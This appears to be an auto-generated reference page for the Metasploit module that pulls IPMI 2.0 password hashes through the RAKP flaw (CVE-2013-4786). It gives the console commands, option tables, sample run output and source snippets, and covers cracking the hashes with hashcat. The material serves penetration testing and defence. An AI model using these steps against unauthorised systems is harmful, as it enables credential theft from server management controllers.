IPMI 2.0 RAKP Remote SHA1 Password Hash Retrieval - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/ipmi/ipmi_dumphashes metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: IPMI 2.0 RAKP Remote SHA1 Password Hash Retrieval
Module: auxiliary/scanner/ipmi/ipmi_dumphashes
Source code: modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb
Disclosure date: 2013-06-20
Last modification time: 2021-06-23 00:48:36 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 623
List of CVEs: CVE-2013-4786
This module identifies IPMI 2.0-compatible systems and attempts to retrieve the HMAC-SHA1 password hashes of default usernames. The hashes can be stored in a file using the OUTPUT_FILE option and then cracked using hmac_sha1_crack.rb in the tools subdirectory as well hashcat (cpu) 0.46 or newer using type 7300.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
msf auxiliary(ipmi_dumphashes) > show options
... show and set options ...
msf auxiliary(ipmi_dumphashes) > set RHOSTS ip-range
msf auxiliary(ipmi_dumphashes) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(ipmi_dumphashes) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(ipmi_dumphashes) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(ipmi_dumphashes) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
The ipmi_dumphashes module identifies IPMI 2.0-compatible systems and attempts to retrieve the HMAC-SHA1 password hashes of default usernames. The hashes can be stored in a file using the OUTPUT_FILE option and then cracked using hmac_sha1_crack.rb in the tools subdirectory as well hashcat (cpu) 0.46 or newer using type 7300.
Vulnerable Devices
Any IPMI 2.0 device implementing the RAKP protocol according to the IPMI specification is vulnerable. This is a design flaw rather than a vendor-specific vulnerability.
Verification Steps
Set RHOSTS to the target device or range and run:
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
msf auxiliary(ipmi_dumphashes) > set RHOSTS 192.168.1.2
RHOSTS => 192.168.1.2
msf auxiliary(ipmi_dumphashes) > run
[*] 192.168.1.2:623 - IPMI - Sending IPMI probes
[*] 192.168.1.2:623 - IPMI - Trying username 'ADMIN'...
[-] 192.168.1.2:623 - IPMI - Returned error code 13 for username ADMIN: Unauthorized name
[*] 192.168.1.2:623 - IPMI - Trying username 'admin'...
[-] 192.168.1.2:623 - IPMI - Returned error code 13 for username admin: Unauthorized name
[*] 192.168.1.2:623 - IPMI - Trying username 'root'...
[+] 192.168.1.2:623 - IPMI - Hash found: root:redacted
[*] 192.168.1.2:623 - IPMI - Trying username 'Administrator'...
[-] 192.168.1.2:623 - IPMI - Returned error code 13 for username Administrator: Unauthorized name
[*] 192.168.1.2:623 - IPMI - Trying username 'USERID'...
[-] 192.168.1.2:623 - IPMI - Returned error code 13 for username USERID: Unauthorized name
[*] 192.168.1.2:623 - IPMI - Trying username 'guest'...
[-] 192.168.1.2:623 - IPMI - Returned error code 13 for username guest: Unauthorized name
[*] 192.168.1.2:623 - IPMI - Trying username ''...
[+] 192.168.1.2:623 - IPMI - Hash found: redacted
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Go back to menu.
Msfconsole Usage
Here is how the scanner/ipmi/ipmi_dumphashes auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/ipmi/ipmi_dumphashes
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > show info
Name: IPMI 2.0 RAKP Remote SHA1 Password Hash Retrieval
Module: auxiliary/scanner/ipmi/ipmi_dumphashes
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2013-06-20
Provided by:
Dan Farmer <[email protected]>
hdm <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CRACK_COMMON true yes Automatically crack common passwords as they are obtained
OUTPUT_HASHCAT_FILE no Save captured password hashes in hashcat format
OUTPUT_JOHN_FILE no Save captured password hashes in john the ripper format
PASS_FILE /opt/metasploit-framework/embedded/framework/data/wordlists/ipmi_passwords.txt yes File containing common passwords for offline cracking, one per line
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 623 yes The target port
SESSION_MAX_ATTEMPTS 5 yes Maximum number of session retries, required on certain BMCs (HP iLO 4, etc)
SESSION_RETRY_DELAY 5 yes Delay between session retries in seconds
THREADS 1 yes The number of concurrent threads (max one per host)
USER_FILE /opt/metasploit-framework/embedded/framework/data/wordlists/ipmi_users.txt yes File containing usernames, one per line
Description:
This module identifies IPMI 2.0-compatible systems and attempts to
retrieve the HMAC-SHA1 password hashes of default usernames. The
hashes can be stored in a file using the OUTPUT_FILE option and then
cracked using hmac_sha1_crack.rb in the tools subdirectory as well
hashcat (cpu) 0.46 or newer using type 7300.
References:
http://fish2.com/ipmi/remote-pw-cracking.html
https://seclists.org/bugtraq/2014/Apr/16
https://nvd.nist.gov/vuln/detail/CVE-2013-4786
OSVDB (95057)
http://www.securityfocus.com/bid/61076
Module Options
This is a complete list of options available in the scanner/ipmi/ipmi_dumphashes auxiliary module:
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > show options
Module options (auxiliary/scanner/ipmi/ipmi_dumphashes):
Name Current Setting Required Description
---- --------------- -------- -----------
CRACK_COMMON true yes Automatically crack common passwords as they are obtained
OUTPUT_HASHCAT_FILE no Save captured password hashes in hashcat format
OUTPUT_JOHN_FILE no Save captured password hashes in john the ripper format
PASS_FILE /opt/metasploit-framework/embedded/framework/data/wordlists/ipmi_passwords.txt yes File containing common passwords for offline cracking, one per line
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 623 yes The target port
SESSION_MAX_ATTEMPTS 5 yes Maximum number of session retries, required on certain BMCs (HP iLO 4, etc)
SESSION_RETRY_DELAY 5 yes Delay between session retries in seconds
THREADS 1 yes The number of concurrent threads (max one per host)
USER_FILE /opt/metasploit-framework/embedded/framework/data/wordlists/ipmi_users.txt yes File containing usernames, one per line
Advanced Options
Here is a complete list of advanced options supported by the scanner/ipmi/ipmi_dumphashes auxiliary module:
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > show advanced
Module advanced options (auxiliary/scanner/ipmi/ipmi_dumphashes):
Name Current Setting Required Description
---- --------------- -------- -----------
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/ipmi/ipmi_dumphashes module can do:
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/ipmi/ipmi_dumphashes auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<RHOST>:<RPORT> - IPMI - <MSG>
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - IPMI - <MSG>" error message:
54: def ipmi_status(msg)
55: vprint_status("#{rhost}:#{rport} - IPMI - #{msg}")
56: end
57:
58: def ipmi_error(msg)
59: vprint_error("#{rhost}:#{rport} - IPMI - #{msg}")
60: end
61:
62: def ipmi_good(msg)
63: print_good("#{rhost}:#{rport} - IPMI - #{msg}")
64: end
Returned a Session ID error for username <USERNAME> on attempt <ATTEMPT>
Here is a relevant code snippet related to the "Returned a Session ID error for username <USERNAME> on attempt <ATTEMPT>" error message:
160: break
161: end
162:
163: # Sleep and retry on session ID errors
164: if rakp.error_code == 2
165: ipmi_error("Returned a Session ID error for username #{username} on attempt #{attempt}")
166: Rex.sleep(1)
167: next
168: end
169:
170: if rakp.error_code != 0
Returned error code <RAKP.ERROR_CODE> for username <USERNAME>: <VALUE>
Here is a relevant code snippet related to the "Returned error code <RAKP.ERROR_CODE> for username <USERNAME>: <VALUE>" error message:
166: Rex.sleep(1)
167: next
168: end
169:
170: if rakp.error_code != 0
171: ipmi_error("Returned error code #{rakp.error_code} for username #{username}: #{Rex::Proto::IPMI::RMCP_ERRORS[rakp.error_code].to_s}")
172: rakp = nil
173: break
174: end
175:
176: # TODO: Finish documenting this error field
Returned error code <RAKP.IGNORED1> for username <USERNAME>
Here is a relevant code snippet related to the "Returned error code <RAKP.IGNORED1> for username <USERNAME>" error message:
173: break
174: end
175:
176: # TODO: Finish documenting this error field
177: if rakp.ignored1 != 0
178: ipmi_error("Returned error code #{rakp.ignored1} for username #{username}")
179: rakp = nil
180: break
181: end
182:
183: # Check if there is hash data
Returned a bogus SHA1 hash for username <USERNAME>
Here is a relevant code snippet related to the "Returned a bogus SHA1 hash for username <USERNAME>" error message:
207:
208: sha1_salt = hmac_buffer.unpack("H*")[0]
209: sha1_hash = rakp_data.hmac_sha1.unpack("H*")[0]
210:
211: if sha1_hash == "0000000000000000000000000000000000000000"
212: ipmi_error("Returned a bogus SHA1 hash for username #{username}")
213: next
214: end
215:
216: ipmi_good("Hash found: #{username}:#{sha1_salt}:#{sha1_hash}")
217:
Go back to menu.
Related Pull Requests
- #15363 Merged Pull Request: Fix ipmi_dumphashes - session refused after few failed attempts
- #15011 Merged Pull Request: Enhance analyze command API to understand modules' needs
- #14696 Merged Pull Request: Zeitwerk rex folder
- #10649 Merged Pull Request: Fix http://seclists.org links to https://
- #10505 Merged Pull Request: Add post authentication information in modules
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8504 Merged Pull Request: Change ipmi_dumphashes to have non-verbose output, ever
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #8184 Merged Pull Request: convert IPMI protocol and modules to bindata
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6360 Merged Pull Request: Added few references to ipmi_dumphashes
- #5623 Merged Pull Request: Fix a stack trace with ipmi_dumphashes when no database was configured.
- #5376 Merged Pull Request: Fixes #5269: Report ipmi_dumphashes credentials with create_credential_login
- #2525 Merged Pull Request: Change module boilerplate
- #2048 Merged Pull Request: Ipmi verbosity
- #2047 Merged Pull Request: Add IPMI modules
References
- http://fish2.com/ipmi/remote-pw-cracking.html
- https://seclists.org/bugtraq/2014/Apr/16
- CVE-2013-4786
- OSVDB (95057)
- BID-61076
See Also
Check also the following modules related to this module:
- auxiliary/scanner/http/smt_ipmi_49152_exposure
- auxiliary/scanner/http/smt_ipmi_cgi_scanner
- auxiliary/scanner/http/smt_ipmi_static_cert_scanner
- auxiliary/scanner/http/smt_ipmi_url_redirect_traversal
- auxiliary/scanner/ipmi/ipmi_cipher_zero
- auxiliary/scanner/ipmi/ipmi_version
- exploit/linux/http/smt_ipmi_close_window_bof
Authors
- Dan Farmer <zen[at]fish2.com>
- hdm
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.